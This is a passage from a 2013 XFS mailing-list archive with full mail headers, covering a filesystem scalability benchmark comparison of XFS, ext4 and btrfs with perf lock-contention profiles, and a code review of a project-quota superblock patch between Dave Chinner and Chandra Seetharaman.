[kernel] [k] __mutex_unlock_slowpath > - __mutex_unlock_slowpath > - 99.95% mutex_unlock > + 54.37% ext4_orphan_del > + 43.26% ext4_orphan_add > + 5.33% [kernel] [k] __mutex_lock_slowpath > > > btrfs create has tree lock problems: > > - 21.68% [kernel] [k] __write_lock_failed > - __write_lock_failed > - 99.93% do_raw_write_lock > - _raw_write_lock > - 79.04% btrfs_try_tree_write_lock > - btrfs_search_slot > - 97.48% btrfs_insert_empty_items > 99.82% btrfs_new_inode > + 2.52% btrfs_lookup_inode > - 20.37% btrfs_tree_lock > - 99.38% btrfs_search_slot > 99.92% btrfs_insert_empty_items > 0.52% btrfs_lock_root_node > btrfs_search_slot > btrfs_insert_empty_items > - 21.24% [kernel] [k] _raw_spin_unlock_irqrestore > - _raw_spin_unlock_irqrestore > - 61.22% prepare_to_wait > + 61.52% btrfs_tree_lock > + 32.31% btrfs_tree_read_lock > 6.17% reserve_metadata_bytes > btrfs_block_rsv_add > > btrfs walk phase hammers the inode_hash_lock: > > - 18.45% [kernel] [k] __ticket_spin_trylock > - __ticket_spin_trylock > - 47.38% _raw_spin_lock > + 42.99% iget5_locked > + 15.17% __remove_inode_hash > + 13.77% btrfs_get_delayed_node > + 11.27% inode_tree_add > + 9.32% btrfs_destroy_inode > ..... > - 46.77% do_raw_spin_lock > - _raw_spin_lock > + 30.51% iget5_locked > + 11.40% __remove_inode_hash > + 11.38% btrfs_get_delayed_node > + 9.45% inode_tree_add > + 7.28% btrfs_destroy_inode > ..... > > I have a RCU inode hash lookup patch floating around somewhere if > someone wants it... > > And, well, the less said about btrfs unlinks the better: > > + 37.14% [kernel] [k] _raw_spin_unlock_irqrestore > + 33.18% [kernel] [k] __write_lock_failed > + 17.96% [kernel] [k] __read_lock_failed > + 1.35% [kernel] [k] _raw_spin_unlock_irq > + 0.82% [kernel] [k] __do_softirq > + 0.53% [kernel] [k] btrfs_tree_lock > + 0.41% [kernel] [k] btrfs_tree_read_lock > + 0.41% [kernel] [k] do_raw_read_lock > + 0.39% [kernel] [k] do_raw_write_lock > + 0.38% [kernel] [k] btrfs_clear_lock_blocking_rw > + 0.37% [kernel] [k] free_extent_buffer > + 0.36% [kernel] [k] btrfs_tree_read_unlock > + 0.32% [kernel] [k] do_raw_write_unlock > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From tytso@thunk.org Mon Jul 8 19:56:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=COMPENSATION autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1BB187F82 for ; Mon, 8 Jul 2013 19:56:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9C7C1AC003 for ; Mon, 8 Jul 2013 17:56:22 -0700 (PDT) X-ASG-Debug-ID: 1373331380-04cb6c2a46a41e80001-NocioJ Received: from imap.thunk.org (li9-11.members.linode.com [67.18.176.11]) by cuda.sgi.com with ESMTP id 3XSlFUZUXytMusjl (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 08 Jul 2013 17:56:21 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 67.18.176.11 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1UwMK3-0000bv-T8; Tue, 09 Jul 2013 01:02:27 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id EC43F580A37; Mon, 8 Jul 2013 20:56:13 -0400 (EDT) Date: Mon, 8 Jul 2013 20:56:13 -0400 From: Theodore Ts'o To: Marco Stornelli Cc: Jan Kara , Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130709005613.GA6000@thunk.org> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130708135953.GF5988@quack.suse.cz> <51DAD943.6050703@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DAD943.6050703@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: li9-11.members.linode.com[67.18.176.11] X-Barracuda-Start-Time: 1373331381 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136214 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 08, 2013 at 05:22:43PM +0200, Marco Stornelli wrote: > > Funny, if I well remember Google guys switched android from yaffs2 > to ext4 due to its superiority on SMP :) The bigger reason why was because raw NAND flash doesn't really make sense any more; especially as the feature size of flash cells has shrunk and with the introduction of MLC and TLC, you really need to use hardware assist to make flash sufficiently reliable. Modern flash storage uses dynamic adjustment of voltage levels as the flash cells age, and error correcting codes to compensate for flash reliability challenges. This means accessing flash using eMMC, SATA, SAS, etc., and that rules out YAFFS2. - Ted From clmason@fusionio.com Mon Jul 8 20:15:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 751627F50 for ; Mon, 8 Jul 2013 20:15:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 561F8304066 for ; Mon, 8 Jul 2013 18:15:37 -0700 (PDT) X-ASG-Debug-ID: 1373332535-04cbb04690cf0e90001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id buMTt2iSSct3AUTZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 08 Jul 2013 18:15:36 -0700 (PDT) X-Barracuda-Envelope-From: clmason@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx1.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 91ECF9A069A for ; Mon, 8 Jul 2013 19:15:35 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1373332535; bh=gYqEMjCxkegcDfYCamTyU+50rVjGgv2RvMMxcuJvKwo=; h=To:From:In-Reply-To:CC:References:Subject:Date; b=gOv+4tWO8K0v/rmqjW6PzF5D77eEciJRaDabxBpk2ZYm2akGPdVSeD36+H9Hwvav2 IwDuRH9wVJg9CjFWnCOY71BTYWRgxlSKDVBOZ1wBaWAX7KXDX6ks1+yOY8AVU8KFFF oXsa43tMYN71O7Eb5/wOKMwG6zgasvadFPguzKPc= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx1.fusionio.com with ESMTP id RMACg1X7DLcprAi6 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 08 Jul 2013 19:15:34 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 8 Jul 2013 19:15:34 -0600 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable To: Dave Chinner , From: Chris Mason In-Reply-To: <20130708124453.GC3438@dastard> CC: References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> Message-ID: <20130709011533.3855.97802@localhost.localdomain> User-Agent: alot/0.3.4 Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Date: Mon, 8 Jul 2013 21:15:33 -0400 X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1373332536 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136214 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Quoting Dave Chinner (2013-07-08 08:44:53) > [cc fsdevel because after all the XFS stuff I did a some testing on > mmotm w.r.t per-node LRU lock contention avoidance, and also some > scalability tests against ext4 and btrfs for comparison on some new > hardware. That bit ain't pretty. ] > = > And, well, the less said about btrfs unlinks the better: > = > + 37.14% [kernel] [k] _raw_spin_unlock_irqrestore > + 33.18% [kernel] [k] __write_lock_failed > + 17.96% [kernel] [k] __read_lock_failed > + 1.35% [kernel] [k] _raw_spin_unlock_irq > + 0.82% [kernel] [k] __do_softirq > + 0.53% [kernel] [k] btrfs_tree_lock > + 0.41% [kernel] [k] btrfs_tree_read_lock > + 0.41% [kernel] [k] do_raw_read_lock > + 0.39% [kernel] [k] do_raw_write_lock > + 0.38% [kernel] [k] btrfs_clear_lock_blocking_rw > + 0.37% [kernel] [k] free_extent_buffer > + 0.36% [kernel] [k] btrfs_tree_read_unlock > + 0.32% [kernel] [k] do_raw_write_unlock > = Hi Dave, Thanks for doing these runs. At least on Btrfs the best way to resolve the tree locking today is to break things up into more subvolumes. I've got another run at the root lock contention in the queue after I get the skiplists in place in a few other parts of the Btrfs code. -chris From david@fromorbit.com Mon Jul 8 20:21:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 964757F53 for ; Mon, 8 Jul 2013 20:21:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 690188F8035 for ; Mon, 8 Jul 2013 18:21:44 -0700 (PDT) X-ASG-Debug-ID: 1373332901-04bdf0233fd04c10001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 1fgeEYVsF2WmTKwD for ; Mon, 08 Jul 2013 18:21:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AoNCAKdk21F5LGhq/2dsb2JhbABagwkygmyqXgKOUYUsBAGBHRd0giMBAQQBJxMcIwULCAMOCgklDwUlAyETiAkFDbkIFo0CgRESE4EdB4MHaQOXUpFJgyMqgS0IFw Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Jul 2013 10:51:40 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwMcb-0003Ho-E6; Tue, 09 Jul 2013 11:21:37 +1000 Date: Tue, 9 Jul 2013 11:21:37 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: xfs@oss.sgi.com Subject: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. Message-ID: <20130709012137.GF3438@dastard> X-ASG-Orig-Subj: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. References: <1372042107-27332-1-git-send-email-sekharan@us.ibm.com> <1372042107-27332-5-git-send-email-sekharan@us.ibm.com> <20130625063135.GU29376@dastard> <1372693830.9777.4.camel@chandra-dt.ibm.com> <20130704011208.GR14996@dastard> <1373325630.9777.286.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373325630.9777.286.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373332901 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136216 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 08, 2013 at 06:20:30PM -0500, Chandra Seetharaman wrote: > On Thu, 2013-07-04 at 11:12 +1000, Dave Chinner wrote: > > On Mon, Jul 01, 2013 at 10:50:30AM -0500, Chandra Seetharaman wrote: > > > Hi Dave, > > > > > > I sent this email on 6/25 (just before my reply on 5/6 w.r.t adding the > > > test to xfstests). Since I didn't get any response from you on this and > > > got reply on the other one, I concluded that you accepted my > > > justification/clarification. > > > > > > I just looked at the archives and do not see my original email :(... but > > > is intact in my sent folder!! > > > > > > Please see if my justification below is valid. > > > > > > Chandra > > > > > > On Tue, 2013-06-25 at 16:31 +1000, Dave Chinner wrote: > > > > On Sun, Jun 23, 2013 at 09:48:25PM -0500, Chandra Seetharaman wrote: > > > > > Start using pquotino and define a macro to check if the > > > > > superblock has pquotino. > > > > > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > > > with no separate pquota inode. > > > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > > --- > > > > > fs/xfs/xfs_fsops.c | 3 +- > > > > > fs/xfs/xfs_mount.c | 51 +++++++++++++++++++++++++++++++-------- > > > > > fs/xfs/xfs_qm.c | 22 +++++++++-------- > > > > > fs/xfs/xfs_qm_syscalls.c | 24 ++++++++++++++++-- > > > > > fs/xfs/xfs_quota.h | 8 ------ > > > > > fs/xfs/xfs_sb.h | 16 +++++++++++- > > > > > fs/xfs/xfs_super.c | 14 ++++++---- > > > > > include/uapi/linux/dqblk_xfs.h | 1 + > > > > > 8 files changed, 99 insertions(+), 40 deletions(-) > > > > > > > > > > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > > > > > index 614eb0c..3bf05f4 100644 > > > > > --- a/fs/xfs/xfs_fsops.c > > > > > +++ b/fs/xfs/xfs_fsops.c > > > > > @@ -501,7 +501,8 @@ xfs_growfs_data_private( > > > > > error, agno); > > > > > break; > > > > > } > > > > > - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, XFS_SB_ALL_BITS); > > > > > + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, > > > > > + xfs_sb_all_bits(&mp->m_sb)); > > > > > > > > I think you could still pass XFS_SB_ALL_BITS to xfs_sb_to_disk(), > > > > and do the XFS_SB_PQUOTINO filtering inside xfs_sb_quota_to_disk(). > > > > > > > > Actually xfs_sb_all_bits() is only used here, and it seems to me > > > > that it is not necessary as we do a pquota support check inside > > > > xfs_sb_to_disk() and can handle this in that place... > > > > > > Yes, this is the only place that uses XFS_SB_ALL_BITS, and the purpose > > > is to copy over the superblock to secondary. > > > > > > The change I made ensures that the caller does what is correct. i.e if > > > it is copying an earlier version of superblock, it does not try to copy > > > the pquotino, and if it uses the newer version of superblock it copies > > > over the pquotino. > > > > The caller does not need to know anything about how the quota bits > > are encoded in the superblock. > > Caller doesn't need to know about quota bits, that is why I encapsulated > it into the function xfs_sb_all_bits(). Requiring a function at the caller site to filter bits out is saying "the caller needs to know it has to filter certain options out". What happens if we add a new piece of optional functionality that is conditional for superblock writeback? So sometimes we need to filter only PQUOTINO_BIT, sometimes we nee dto filter FOO_BIT, sometimes we need to filter BAR_BIT, and so on? What you are proposing effectively sets us down the path of having to do this in future: if (xfs_sb_version_hasfoo) xfs_sb_to_disk(XFS_SB_FOO_BIT) if (xfs_sb_version_hasbar) xfs_sb_to_disk(XFS_SB_BAR_BIT) xfs_sb_to_disk((XFS_SB_ALL_BITS & ~(XFS_SB_FOO_BIT|XFS_SB_BAR_BIT))); All this needs to be handled in xfs_sb_to_disk(). > > That's the reason for encapsulating such on-disk format conversion > > inside xfs_sb_to/from_disk(). Same with all the mount flags and so on > > - the differences between what the code uses and what is on disk is > > all encapsulated inside xfs_sb_quota_to/from_disk. > > Encapsulation in xfs_sb_to_disk() is not enough for this situation. If > both PQUOTINO and GQUOTINO is set for version 4 of the superblock, > xfs_sb_to_disk will not be able to know if it has to treat PQUOTINO as > valid or GQUOTINO as valid. The contents of from->sb_qflags tells you which one is valid. Indeed, you have to look at from->sb_qflags to set the OQUOTA flags correctly in to->sb_qflags, so I don't see why you can't use from->sb_qflags to determine which of G/PQUOTINO needs to copied across to to->sb_gquotino.... > > > > > /* > > > > > * If quotas is completely disabled, close shop. > > > > > */ > > > > > - if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > > > > > - ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > > > > > + if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { > > > > > mutex_unlock(&q->qi_quotaofflock); > > > > > xfs_qm_destroy_quotainfo(mp); > > > > > return (0); > > > > > > > > This makes the assumption that userspace passes all three quota > > > > types into the kernel in a single quota off call as the only way to > > > > turn quotas off completely. What happens if they are turned off one > > > > at a time? Shouldn't we detect when no more quotas are actually > > > > enabled and then do this? > > > > > > Yes, I agree that there is a difference in behavior if the user turns > > > off quota one-by-one Vs turns off all quota at once. But, the behavior > > > difference is not seen by the user space. And, I did not make the > > > change :) > > > > > > I just included project quota into the fold. > > > > Sure, but my point still stands - if userspace currently expects > > quota to be turned off by turning of user+group quota at the same > > time, or user+project quota at the same time, then this will no > > longer turn quotas off even if u/g or u/p were the only quotas > > enabled. It's an unexpected change of behaviour, especially for > > filesystems that don't support the separate pquota inode... > > IIUC, user space will not see any difference in behavior even if this > specific code block is not present in this function. Whatever is being > done in xfs_qm_destroy_quotainfo() is done by the code just below the > above block in xfs_qm_scall_quotaoff(). Only additional thing > xfs_qm_destroy_quotainfo() does is to clean up all other in-kernel data > structures associated with quota for this mount point. > > The behavior was that if _all_ the quotas are turned off at the same > time, clean up all in-kernel data structures associated with quota. If > the quotas were turned off one at a time, leave the in-kernel stuff even > when the last quota is turned off. > > I maintained the same behavior. That's where I disagree. You kept the same /line of reasoning/ as the original code, not the same behaviour. What I'm saying is that the line of reasoning is wrong to begin with, and hence keeping it is not the right thing to do. Indeed, code archeology shows this line of reasoning is zero-day Irix behaviour: http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=blob;f=fs/xfs/xfs_qm_syscalls.c;hb=0d5ad8383061fbc0a9804fbb98218750000fe032 730 /* 731 * If quotas is completely disabled, close shop. 732 */ 733 if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { 734 mutex_unlock(&mp->QI_QOFFLOCK); 735 xfs_qm_destroy_quotainfo(mp); 736 return (0); 737 } Hmmm, looks kind of familiar, doesn't it? But what's the caller context? 155 case Q_QUOTAOFF: 156 /* */ 157 flags = addr? 158 xfs_qm_import_flags((uint *)addr) : 159 XFS_ALL_QUOTA_ACCT_ENFD; 160 error = xfs_qm_scall_quotaoff(mp, flags); 161 And from xfs_dquot.h: 95 #define XFS_ALL_QUOTA_ACCT_ENFD (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ 96 XFS_PQUOTA_ACCT|XFS_PQUOTA_ENFD) If no parameter was passed, the default behaviour is to turn off all quotas. IOWs, this logic made sense Irix, but the linux case has no such default behaviour - it only passes what userspace says to turn off. And that's exactly my point - these semantics made sense for Irix all those years ago, but they simply don't make sense now. Hence while we are touching this code we should fix it up. i.e. if we've turned off all the quotas, clean up properly. > I understand your point that _all_ mean u/g or u/p in older version of > superblock. But, the difference in behavior is not drastic and is not > seen by the user space at all. > > If still unconvinced, is this the code you want to see there ? > > if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) && > xfs_sb_version_has_pquota(&mp->sb)) || > ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > : > : > } No. If, as a result of turning off quotas, there are no active quotas then turn off the quota subsystem. mp->m_qflags will tell us exactly what quota is still running when we get to this point... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 8 20:25:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8CF0B7F53 for ; Mon, 8 Jul 2013 20:25:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3859DAC005 for ; Mon, 8 Jul 2013 18:24:59 -0700 (PDT) X-ASG-Debug-ID: 1373333097-04bdf02b8eade530001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id vGe472Po84DtOIWu for ; Mon, 08 Jul 2013 18:24:57 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgRAP5l21F5LGhq/2dsb2JhbABagwmDHrkxhSwEAYEdF3SCIwEBBTocMwgDGAkaCw8FJQMiEogOuRQWjh0bgSSDcAOXUpFJgViBSyqBLA Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Jul 2013 10:53:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwMee-0003Hy-V4; Tue, 09 Jul 2013 11:23:44 +1000 Date: Tue, 9 Jul 2013 11:23:44 +1000 From: Dave Chinner To: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130709012344.GG3438@dastard> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130709004332.GB23174@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709004332.GB23174@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373333097 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136216 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 08:43:32AM +0800, Zheng Liu wrote: > Hi Dave, > > On Mon, Jul 08, 2013 at 10:44:53PM +1000, Dave Chinner wrote: > [...] > > So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the > > 3.10-cil kernel I've been testing XFS on): > > > > create walk unlink > > time(s) rate time(s) time(s) > > xfs 222 266k+-32k 170 295 > > ext4 978 54k+- 2k 325 2053 > > btrfs 1223 47k+- 8k 366 12000(*) > > > > (*) Estimate based on a removal rate of 18.5 minutes for the first > > 4.8 million inodes. > > > > Basically, neither btrfs or ext4 have any concurrency scaling to > > demonstrate, and unlinks on btrfs a just plain woeful. > > > > ext4 create rate is limited by the extent cache LRU locking: > > I have a patch to fix this problem and the patch has been applied into > 3.11-rc1. The patch is (d3922a77): > ext4: improve extent cache shrink mechanism to avoid to burn CPU time > > I do really appreicate that if you could try your testing again against > this patch. I just want to make sure that this problem has been fixed. > At least in my own testing it looks fine. I'll redo them when 3.11-rc1 comes around. I'll let you know how much better it is, and where the next ring of the onion lies. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 8 20:26:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 794467F53 for ; Mon, 8 Jul 2013 20:26:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0640AAC001 for ; Mon, 8 Jul 2013 18:26:19 -0700 (PDT) X-ASG-Debug-ID: 1373333177-04cb6c2a47a43810001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id psBxnwEdf1L8ToEV for ; Mon, 08 Jul 2013 18:26:18 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgRAP5l21F5LGhq/2dsb2JhbABagwmDHrkxhSwEAYEdF3SCIwEBBAE6HCMFCwgDGAkaCw8FJQMhE4gJBbkUFo44gR0Hg3ADl1KRSYFYgUsq Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Jul 2013 10:56:17 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwMh4-0003J1-O6; Tue, 09 Jul 2013 11:26:14 +1000 Date: Tue, 9 Jul 2013 11:26:14 +1000 From: Dave Chinner To: Chris Mason Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130709012614.GH3438@dastard> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130709011533.3855.97802@localhost.localdomain> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709011533.3855.97802@localhost.localdomain> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1373333177 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136216 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 08, 2013 at 09:15:33PM -0400, Chris Mason wrote: > Quoting Dave Chinner (2013-07-08 08:44:53) > > [cc 